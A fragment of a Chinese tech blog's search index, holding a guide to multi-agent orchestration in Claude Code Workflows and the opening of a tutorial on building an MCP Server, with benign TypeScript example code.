风险：Agent 可能永远不说\"done\"。需要设置最大迭代次数作为逃生门。标准做法是 maxIterations=5——过了五轮不管它说不说 dry 都停。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:6:1","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"Loop-until-budget 用外部约束代替 Agent 自己的判断。预算可以是 token 数、步数、时间。 预算: 50,000 tokens Iteration 1: 探索方案 A, B → 消耗 8,000 tokens Iteration 2: 深入方案 B → 消耗 12,000 tokens ... 预算耗尽 → 停止，输出当前最佳 适合：开放探索性任务——“花不超过 X token 找到最好的方案”。不需要 Agent 自己判断\"够好了没有\"。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:6:2","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"两种变体对比 变体 停止条件 适用场景 风险 Loop-until-dry Agent 自检无变化 重构、优化、文档润色 可能无限循环（需 max 逃生门） Loop-until-budget Token/步数达到上限 探索性分析、方案对比 可能在关键突破前停止 如何向 Claude 描述：“反复审查这个模块的代码质量，每轮发现的问题全部修复后再来一轮，直到审查者挑不出新问题为止。最多五轮。” 这本质上是一个 Pipeline 自环——Agent 的输出回到自身或同角色 Agent，直到满足停止条件。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:6:3","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"6. 模式三：评审团 对抗验证是 1v1（一个写一个审），评审团是 N+1（N 个独立产生方案，1 个裁判选最优）。 TaskAgent A方案一：MVP 优先Solution AAgent B方案二：风险优先Solution BAgent C方案三：用户优先Solution CJudge Agent（裁判）选出最佳或融合优点★ Best Solution 图 3：评审团流程 — 三个 Agent 独立设计方案，Judge 选最优 与对抗验证的区别： 对抗验证 评审团 Agent 关系 1 Generator + 1 Reviewer 循环 N 个独立 Agent + 1 Judge 核心机制 角色对立，挑刺-修改循环 独立产生，裁判选优 适合 有明确对错标准的任务（代码质量、安全检查） 有多个可行方案的任务（架构设计、算法选择） Agent 规模 固定 2 个 N=3 黄金比例 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:7:0","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"N=3 为什么是黄金比例 N=2 不够。两个方案对比容易变成二选一，裁判没有足够的多样性去发现\"第三种可能\"。N=4 或更多，边际收益递减——每多一个 Agent 消耗同等 token，但第四个方案提供的新视角远少于第三个。N=3 是多样性和成本的折中最优解。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:7:1","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"Judge 的角色设计 Judge 的指令不是\"找出错误\"（那是对抗验证的 Reviewer）。Judge 的指令是\"评估所有方案，选择最优或融合优点\"。Judge 需要有明确的评估标准，否则会退化成随机选择。 标准应该写在任务描述里，比如：“以可维护性为第一优先级，性能为第二优先级，代码简洁度为第三优先级，评估三个方案的优劣。” 如何向 Claude 描述：“让三个 Agent 独立设计这个模块的 API，分别从 MVP 优先、性能优先、扩展性优先三个角度出发。然后一个架构师 Agent 评估三个方案，选出最佳或融合优点。” ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:7:2","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"7. ultracode：两种触发方式，别搞混 “ultracode” 这个词在 Claude Code 里有两种完全不同的用法。搞混会浪费大量 token。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:8:0","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"/effort ultracode：会话级开关 这是一个 slash command。执行后做两件事： 把整个会话的推理深度设为 xhigh（每条消息 8x token） 授予 Claude Code 自动编排 Workflow 的权限——Claude 自行判断哪些任务需要多 Agent 并行 作用范围：整个会话。设完之后你说的每一句话，哪怕\"帮我看看这个变量名好不好\"，都在 xhigh 推理深度下运行。而且 Claude 会在任何它认为\"值得\"的任务上自动启动 Workflow。 用完必须降回来——/effort high 或 /effort medium。忘了降？后面每条随便聊天的消息都在烧 8x token。 /effort ultracode ← 开始高强度会话 ... 跑完核心任务 ... /effort high ← 降回来！别忘 适合：整个会话都是重型任务——大规模重构、安全审计、从头实现一个功能。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:8:1","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"Prompt 里写 “ultracode”：单次触发 在消息文本中提到 “ultracode”（比如\"用 ultracode 跑这个任务\"），只触发这一次 Workflow 编排。会话的默认 effort 不变。下一条消息回到正常推理深度。 适合：日常开发中偶尔碰到一个复杂任务——其他都在 medium 下跑，就这一个需要多 Agent 并行。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:8:2","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"两种方式对比 /effort ultracode prompt 里写 “ultracode” 作用范围 整个会话 单次请求 推理深度 xhigh 永久生效 不改会话 effort Workflow 触发 Claude 自动判定所有任务 仅当前任务 Token 影响 每条消息 8x，直到改回去 只那一次 Workflow 8x 恢复方式 需要手动 /effort high 自动恢复 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:8:3","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"最常踩的坑 用 /effort ultracode 跑完一个任务，忘了降回来。后面聊了半小时天，每条消息都在 8x 模式下。月底账单翻倍。 记住：如果你只需要一个任务上高强度，在 prompt 里提 “ultracode”，不要动 /effort。只有整个会话都需要深推理时才用 slash command。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:8:4","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"Token 预算：给 ultracode 设上限 ultracode 本身不限制消耗——你让它跑，它就跑到底。控制成本靠 budget 机制。 在 prompt 里加 +500k（或任意数字），Workflow 脚本里就能拿到三个全局变量： budget.total — 你设的 token 上限，没设则为 null budget.spent() — 当前已消耗的 token 数 budget.remaining() — 剩余可用 token。没设预算时返回 Infinity 典型的 loop-until-budget 写法： const bugs = [] while (budget.total \u0026\u0026 budget.remaining() \u003e 50_000) { const result = await agent(\"逐文件审查安全漏洞\", {schema: BUGS}) bugs.push(...result.bugs) } 两个关键点： budget.total 判空——你没在 prompt 里加 +N，它是 null，不进循环。不加判空，remaining() 返回 Infinity，循环永不终止。 50_000 预留余量——确保最后一次 agent() 有足够 token 跑完。余量太小，可能在生成中途被硬截断。 所以 ultracode 的完整使用姿势： ultracode：审查当前项目的安全漏洞 +200k 推理深度（ultracode 开）和消费上限（+200k 设）——两条线，各管各的。ultracode 让 Agent 更仔细，budget 让它别超支。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:8:5","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"什么时候值得开 安全审计：审计 Agent 在沙箱里跑，不会有副作用。xhigh 让每个审查 Agent 更仔细地找漏洞 生产部署前的最终检查：推理深度直接关联遗漏率 架构决策：几个方案各自的利弊，xhigh 让每个方案的生成更深入、Judge 的评估更全面 什么时候不值得：日常 CRUD、简单 bug 修复、探索性任务。Token 8x，但任务不需要这么深推理。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:8:6","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"8. 即开即用的提示词 下面四个 prompt，直接复制到 Claude Code 里就能跑。每个都对应前文讲的一种模式。建议先用小范围试（挑一个模块、一个文件），跑通了再扩大。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:9:0","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"代码审查流水线（对抗验证） ultracode：审查 {模块路径} 的代码质量。先让一个 Agent 逐文件分析潜在的 bug、 安全隐患、性能问题和风格违规。然后让另一个 Agent 对抗性审查每一个发现—— 尝试反驳、找误报。只保留两个 Agent 都认可的问题，按严重程度排序输出。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:9:1","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"设计方案比选（评审团） ultracode：设计 {功能名} 的实现方案。让三个 Agent 分别从以下角度独立设计： 1) 最快实现 MVP 2) 最优性能 3) 最好扩展性。 然后让一个架构师 Agent 评估三个方案，选出最佳或融合优点。评估标准： 可维护性第一，性能第二，实现复杂度第三。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:9:2","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"重构到满意为止（循环直到稳定） ultracode：重构 {文件路径}，提升可读性和可维护性，不改变外部行为。 每次重构后让审查 Agent 检查代码质量并提出改进建议，继续修改直到审查者 挑不出新问题。最多 5 轮。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:9:3","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"安全审计 ultracode：对 {模块/服务} 做安全审计。让多个 Agent 分别从以下维度独立审查： 1) 认证和授权 2) 输入验证和注入防御 3) 数据泄露风险 4) 依赖漏洞。 每个 Agent 只关注自己维度，最后汇总所有发现，按 CVSS 式严重度排列。 四个 prompt 的模式可以直接套到你的项目上。核心就一句话——描述角色分工，而不是写脚本。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:9:4","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"9. 三层级对比：Sub-agent、Workflow、单 Agent 多轮 Claude Code 提供了三个层级的多 Agent 协作能力。理解各自定位，才不会用错。 维度 Sub-agent Workflow 单 Agent 多轮 Agent 数量 1 + 临时子任务 N（显式编排） 1 编排方式 父 Agent 动态分派 Pipeline/Barrier 脚本 你手动引导 上下文隔离 父子隔离，共享文件系统 完全沙箱隔离 无隔离 失败恢复 无（重头来） 断点续传 无（从头来） 确定性 无保证 Pipeline 保证执行顺序 无保证 适合 大任务内的子任务拆分 可重复的多步流程 探索、对话、需求不明确 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:10:0","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"选择准则 任务明确、可重复、需要多次执行？ → Workflow。比如：每次 PR 都要经过的审查流水线。 一次性的大任务，需要拆成小块并行？ → Sub-agent。比如：分析整个代码库中所有使用了某 Pattern 的文件。 你还不知道到底要什么？ → 单 Agent 多轮。先聊清楚，自然聊出 Sub-agent 或 Workflow 的需求再切。 一个实用的判断法：如果让你用文字写下这个流程，你能写多清楚？ 写得很清楚 → Workflow。大概清楚但有模糊地带 → Sub-agent。写不清楚，需要边做边想 → 单 Agent 多轮。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:10:1","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"10. 沙箱约束：确定性不是限制，是 feature Workflow 中的 Agent 在一个受限的沙箱里运行。理解这些约束为什么存在，比记住\"什么不能做\"更重要。 可以做 不能做 推理、分析、规划 直接读写文件 生成代码/文本/JSON 执行 shell 命令 调用 MCP Tool（权限内） Date.now() / Math.random() 产生结构化输出 修改文件系统 与其他 Agent 通信（通过 Workflow 数据流） 启动子进程 这些约束不是随意加的。每一条都服务于一个核心目标：确定性。 同一个 Workflow，同样的输入，同样的 Agent 配置 → 同样的输出。这是断点续传和缓存的前提：如果第 3 步的输入和第 2 次执行的第 3 步输入完全一样，直接返回缓存结果，不重新执行。 没有这个确定性，断点续传不可靠（重放可能走不同的路径），缓存无效（“相同输入\"无法定义），调试不可复现（你永远不知道上次是怎么跑出来的）。 所以 Workflow 中的 Agent 角色是\"思考者”，不是\"行动者\"——它们产生内容（分析、方案、代码、审查意见），Workflow 引擎负责把内容落地到文件系统。这个分工是刻意的：思考应该是确定性的，行动才需要与外部世界交互。 还有一层隐性约束：所有 Agent 跑的是同一个 Claude 模型。角色的差异靠 prompt 制造——Generator 被指示\"写出最好的代码\"，Reviewer 被指示\"找出所有问题\"——但它们底层的推理能力是一样的。这和你可能在 LangChain 或 AutoGen 里见过的\"给 Agent A 用 GPT-4o、Agent B 用 Opus\"不一样。Workflow 的\"多 Agent\"更准确地说，是同一模型的多视角副本。这也解释了为什么对抗验证有效：正因为两个视角能力同级，才能互相挑刺。如果 Reviewer 明显比 Generator 强，对抗就变成了碾压，不是挑战。 一条实用的理解：沙箱约束让 Workflow 像一个纯函数——相同输入，相同输出。纯函数好测试、好缓存、好调试、好信任。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:11:0","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"11. 恢复与缓存：改最后一步不用重跑前面全部 Workflow 的两个工程特性，让你的迭代速度从\"全部重来\"变成\"原地继续\"。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:12:0","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"断点续传 Workflow 每一步的完成状态都被记录。如果某一步失败——Agent 超时、输出格式错误、MCP Tool 调用失败——从失败那一步重新执行。前面的结果全部保留。 这意味着一个 5 步 pipeline 在第 4 步崩了，你改了第 4 步的指令，不用重跑 1-3 步。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:12:1","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"缓存命中 如果 pipeline 中某一步的输入、Agent 配置、Prompt 与之前某次执行完全相同，直接返回缓存结果。对调试和迭代速度影响巨大——你修改第 5 步的 Judge 评估标准，前面 4 步 0 token 消耗，瞬间返回。 什么情况缓存会失效：Agent 调用了 MCP Tool（外部系统状态可能变了）、输出中包含非确定性因素、改了 Agent 的 model 参数。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:12:2","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"实际影响 “试试看\"的成本从\"全部重来\"降到了\"只改最后一步”。这种迭代速度让你可以： 反复微调 Judge 的评估标准，看不同标准下的选择差异 调整 Reviewer 的严格程度，而不重跑 Generator 修改 Pipeline 最后一阶段的输出格式，前面的质量工作不浪费 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:12:3","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"12. 结语：从操作者到架构师 系列写了五篇，从 Tool 到 Workflow： 层 主题 核心问题 核心答案 ① Tool MCP 能做什么？ 内置 + 自定义 MCP Tool——原子能力 ② Plugin 插件 装什么？ 装备——压缩输出、记忆复用、语义搜索 ③ Hooks Hooks 什么时候触发？ 事件驱动，自动执行 ④ Skill Skill 怎么做？ 方法论——行为编码，经验模块化 ⑤ Orchestration Workflows 谁来做？ 多智能体编排——AI 团队协作 五层不是五个独立的能力，而是递进的依赖链：没有 Tool 就没有 Plugin 要扩展的东西，没有 Plugin 就没有 Hooks 的触发点，没有 Hooks 就没有 Skill 的自动化执行条件，没有 Skill 就没有 Workflow 中每个 Agent 的标准化行为。 更重要的是，这条链改变了你和 Claude Code 的关系： 写前两篇（Plugin / MCP）时，你是 配置者——装什么、配什么 写中间两篇（Hooks / Skill）时，你是 设计者——设计触发条件和行为规范 写这篇时，你是 架构师——设计团队结构、通信方式、质量保证机制 每一步都在把你从操作者变成架构师。 Workflow 是当前你能触及的顶层——但 AI 工具的发展不会停在这里。Workflow 依赖 Claude Code 运行时，不能在外部系统自动触发。未来可能出现更完整的多 Agent 框架，但 Workflow 的核心概念——Agent 分工、角色对立、Barrier/Pipeline 编排——会是所有后续框架的基石。 你不再是一个人在终端里跟 AI 对话。你在管理一支 AI 团队。 感谢阅读。 ","date":"2026-06-14","objectID":"/posts/2026/06/14/claude-code-workflows-guide/:13:0","tags":["tech","ai","claude code","workflow","multi-agent","orchestration"],"title":"Claude Code Workflows 完全指南：多智能体编排让 AI 团队自己干活","uri":"/posts/2026/06/14/claude-code-workflows-guide/"},{"categories":["Tech"],"content":"深入 MCP（Model Context Protocol）：从协议原理到动手写一个 MCP Server，从市场生态选型到五层安全防御。读完你会理解 MCP 为什么是 Claude Code 四层架构的最后一块基石，以及怎么自己造。","date":"2026-06-10","objectID":"/posts/2026/06/10/claude-code-mcp-guide/","tags":["tech","ai","claude code","mcp","development tools"],"title":"Claude Code MCP 完全指南：给你的 AI 造工具","uri":"/posts/2026/06/10/claude-code-mcp-guide/"},{"categories":["Tech"],"content":" 一个协议，三要素（Tool/Resource/Prompt），用自定义 MCP Server 扩展 Claude Code 的能力边界。 ","date":"2026-06-10","objectID":"/posts/2026/06/10/claude-code-mcp-guide/:0:0","tags":["tech","ai","claude code","mcp","development tools"],"title":"Claude Code MCP 完全指南：给你的 AI 造工具","uri":"/posts/2026/06/10/claude-code-mcp-guide/"},{"categories":["Tech"],"content":"前言 插件篇 讲了四个必装插件和一个 MCP 服务。但那篇对 MCP 只摸了皮毛——装了一个 claude-context，提了一句\"MCP 是外部工具连接器\"。 本文把 MCP 彻底拆开：协议怎么跑、Tool/Resource/Prompt 分别干什么、怎么从零写一个 MCP Server、市场上哪些值得装、怎么防注入和越权。 更重要的是——把 MCP 放进四层架构里。如果说前三篇搭建了 Plugin → Hooks → Skill 三层，那 MCP 是更底层的那块砖：Tool 层——Claude Code 能做什么的原子能力。 ","date":"2026-06-10","objectID":"/posts/2026/06/10/claude-code-mcp-guide/:1:0","tags":["tech","ai","claude code","mcp","development tools"],"title":"Claude Code MCP 完全指南：给你的 AI 造工具","uri":"/posts/2026/06/10/claude-code-mcp-guide/"},{"categories":["Tech"],"content":"1. MCP 在四层模型中的位置 回看系列的三层模型，现在把它扩成四层： ①Tool（内置 + MCP 扩展）原子能力 — 能做什么内置 Read/Write/Bash + 自定义 MCP Tool。MCP 是用户扩展 Tool 的唯一入口。②Plugin / MCP 服务能力边界 — 外部能力注入Plugin 注入提示词 + Skill；MCP 服务暴露 Tool/Resource/Prompt 供模型调用。③Hooks自动化 — 什么时候触发在正确的时间触发正确的事。但不告诉模型\"怎么做\"。④Skill方法论 — 怎么做本文关联定义一套规范：先干啥、再干啥、不能干啥。这是行为编码。 前三篇文章已经把上面三层讲透了。本文讲底层：Tool。 注意第①层写了\"内置 + MCP 扩展\"。Claude Code 自带 Read、Write、Edit、Bash、Grep 等内置 Tool，但你不能直接往里加新的。要扩展 Tool，只有一条路——写一个 MCP Server，Claude Code 把你的 Tool 和内置 Tool 同等对待。 这就是 MCP 的真正角色：不是\"又一个外部服务连接器\"，而是用户扩展 Tool 的唯一入口。 ","date":"2026-06-10","objectID":"/posts/2026/06/10/claude-code-mcp-guide/:2:0","tags":["tech","ai","claude code","mcp","development tools"],"title":"Claude Code MCP 完全指南：给你的 AI 造工具","uri":"/posts/2026/06/10/claude-code-mcp-guide/"},{"categories":["Tech"],"content":"2. MCP 是什么：一个协议，两种传输，三要素 MCP（Model Context Protocol）是 Anthropic 2024 年底发布的开放协议，官网 modelcontextprotocol.io。本质就是一句话： MCP Server 暴露能力，MCP Client（Claude Code）发现并调用。 协议层跑 JSON-RPC 2.0。传输层有两种： 传输 原理 适用场景 stdio 父进程启动子进程，通过 stdin/stdout 通信 本地工具，最简单 HTTP（SSE） 远端 HTTP 服务，Server-Sent Events 推送 远程服务、多用户共享 99% 的个人 MCP Server 用 stdio，一行 npx 或 python 启动就行。 传输层本身是可扩展的——只要能在双向通道上跑 JSON-RPC 2.0，你用 WebSocket、gRPC、甚至自定义协议都行。官方只标准化了前两种，但没锁死。 MCP Server 可以暴露三种东西： 要素 是什么 例子 Tool 模型可调用的函数 search_code(query) → 返回匹配文件 Resource 模型可读取的数据 file:///project/README.md → 返回文件内容 Prompt 预定义的提示词模板 “Review this PR with focus on security” 三者里 Tool 是主角。Resource 和 Prompt 是配角——有用，但不是每个 Server 都需要。 Tool 的抽象不挑底层。背后可以是 REST API、数据库查询、文件系统操作——也可以是 ESP32 的 GPIO 引脚、智能家居的继电器、机械臂的舵机。任何能封装成 JSON-RPC 接口的东西，都能变成 Claude Code 里的一个 Tool。IoT 设备只要跑得动一个 MCP Server，就和 Postgres MCP 没有区别。 也就是说，你可以用 Claude Code 这个 Agent 来充当工作和生活中的智能指挥中枢——调数据库、发 Issue、控灯光、查天气，都是同一个入口，都是同一个协议。 ","date":"2026-06-10","objectID":"/posts/2026/06/10/claude-code-mcp-guide/:3:0","tags":["tech","ai","claude code","mcp","development tools"],"title":"Claude Code MCP 完全指南：给你的 AI 造工具","uri":"/posts/2026/06/10/claude-code-mcp-guide/"},{"categories":["Tech"],"content":"3. 动手写一个 MCP Server 最快的理解方式是写一个。用一个真实场景：给 Claude Code 加一个\"查天气\"的 Tool。 ","date":"2026-06-10","objectID":"/posts/2026/06/10/claude-code-mcp-guide/:4:0","tags":["tech","ai","claude code","mcp","development tools"],"title":"Claude Code MCP 完全指南：给你的 AI 造工具","uri":"/posts/2026/06/10/claude-code-mcp-guide/"},{"categories":["Tech"],"content":"3.1 初始化 mkdir weather-mcp \u0026\u0026 cd weather-mcp npm init -y npm install @modelcontextprotocol/sdk zod npm install -D typescript tsx @types/node ","date":"2026-06-10","objectID":"/posts/2026/06/10/claude-code-mcp-guide/:4:1","tags":["tech","ai","claude code","mcp","development tools"],"title":"Claude Code MCP 完全指南：给你的 AI 造工具","uri":"/posts/2026/06/10/claude-code-mcp-guide/"},{"categories":["Tech"],"content":"3.2 最简骨架 // src/index.ts import { McpServer } from \"@modelcontextprotocol/sdk/server/mcp.js\"; import { StdioServerTransport } from \"@modelcontextprotocol/sdk/server/stdio.js\"; import { z } from \"zod\"; const server = new McpServer({ name: \"weather\", version: \"1.0.0\", }); // 注册一个 Tool server.tool( \"get_weather\", // Tool 名称 \"Get current weather for a city\", // 描述——Claude 靠这个决定要不要调用 { city: z.string().describe(\"City name in English, e.g. Tokyo\") }, async ({ city }) =\u003e { // 实际逻辑：调天气 API const temp = 22; // 示例数据 return { content: [{ type: \"text\", text: `${city}: ${temp}°C, sunny`, }], }; } ); async function main() { const transport = new StdioServerTransport(); await server.connect(transport); // 关键：日志用 stderr，stdout 被 JSON-RPC 占用 console.error(\"Weather MCP server running on stdio\"); } main().catch((err) =\u003e { console.error(\"Fatal:\", err); process.exit(1); }); ","date":"2026-06-10","objectID":"/posts/2026/06/10/claude-code-mcp-guide/:4:2","tags":["tech","ai","claude code","mcp","development tools"],"title":"Claude Code MCP 完全指南：给你的 AI 造工具","uri":"/posts/2026/06/10/claude-code-mcp-guide/"},{"categories":["Tech"],"content":"3.3 注册到 Claude Code 项目根目录创建 .mcp.json： { \"mcpServers\": { \"weather\": { \"command\": \"npx\", \"args\": [\"tsx\", \"src/index.ts\"], \"cwd\": \"/home/user/projects/weather-mcp\" } } } 重启 Claude Code。现在你可以说： “东京今天什么天气？” Claude Code 看到 get_weather 的描述里有 “weather” 和 “city”，自动匹配调用，拿到 22°C, sunny，回给你。 就这么简单。 你写了一个函数，注册到 MCP Server，Claude Code 就能调——和内置 Tool 一样。 ","date":"2026-06-10","objectID":"/posts/2026/06/10/claude-code-mcp-guide/:4:3","tags":["tech","ai","claude code","mcp","development tools"],"title":"Claude Code MCP 完全指南：给你的 AI 造工具","uri":"/posts/2026/06/10/claude-code-mcp-guide/"},{"categories":["Tech"],"content":"3.4 再加一个 Resource Tool 是\"模型主动调\"，Resource 是\"模型按需读\"： server.resource( \"weather_cities\", // Resource URI 标识 \"weather://supported-cities\", // 唯一 URI async () =\u003e ({ contents: [{ uri: \"weather://supported-cities\", text: \"Tokyo, Beijing, London, New York\", }], }) ); Claude Code 可以在任何对话中读取 weather://supported-cities 获取支持的城市列表。 ","date":"2026-06-10","objectID":"/posts/2026/06/10/claude-code-mcp-guide/:4:4","tags":["tech","ai","claude code","mcp","development tools"],"title":"Claude Code MCP 完全指南：给你的 AI 造工具","uri":"/posts/2026/06/10/claude-code-mcp-guide/"},{"categories":["Tech"],"content":"3.5 最重要的事：Tool 描述 Tool 描述是你和模型之间唯一的界面。Claude Code 不读你的源码，不看你的注释——只读 server.tool() 的第二个参数。这个字符串决定了三件事： 会不会被调用。 描述和用户意图不匹配 → 模型不知道这 Tool 存在。 什么时候被调用。 描述模糊 → 该调的时候不调，不该调的时候乱调。 参数长什么样。 Zod schema 的 .describe() 就是参数的说明书。 几个对比： 差的描述 好的描述 为什么 \"Query data\" \"Get current weather by city name, returns temperature in Celsius and conditions (sunny/cloudy/rain)\" 后者告诉模型\"什么时候用我\"和\"我能给你什么\" \"Run command\" \"Execute a shell command in the project root. Use for build, test, lint. NEVER use for destructive operations.\" 后者不仅说了能做什么，还说了不能做什么 city: z.string() city: z.string().describe(\"City name in English, e.g. 'Tokyo' or 'New York'\") 带例子的参数描述大幅降低传参错误 描述里写\"不能做什么\"和写\"能做什么\"一样重要。 模型会试探边界——你不在描述里堵死，它就会越界。 写完 Tool 后测试：在 Claude Code 里用几种不同的说法描述同一个需求，看模型能不能匹配到你的 Tool。匹配不到 = 描述不够精确。 另外两条快速提醒： 用 Zod 定义输入结构。 Zod schema 自动转成 JSON Schema 暴露给模型。字段的 .describe() 越精确越好。 日志只走 stderr。 stdio 传输下 stdout 被 JSON-RPC 独占。console.log() 会污染协议通道导致 Server 断开，全部用 console.error()。 ","date":"2026-06-10","objectID":"/posts/2026/06/10/claude-code-mcp-guide/:4:5","tags":["tech","ai","claude code","mcp","development tools"],"title":"Claude Code MCP 完全指南：给你的 AI 造工具","uri":"/posts/2026/06/10/claude-code-mcp-guide/"},{"categories":["Tech"],"content":"4. MCP 市场生态：从 10 个到 10,000+ 截至 2026 年中，公开 MCP Server 超过 10,000 个。modelcontextprotocol/servers 官方仓库 86,000+ star。 不需要全装。按场景选： ","date":"2026-06-10","objectID":"/posts/2026/06/10/claude-code-mcp-guide/:5:0","tags":["tech","ai","claude code","mcp","development tools"],"title":"Claude Code MCP 完全指南：给你的 AI 造工具","uri":"/posts/2026/06/10/claude-code-mcp-guide/"},{"categories":["Tech"],"content":"4.1 写代码必装 Server 做什么 为什么必装 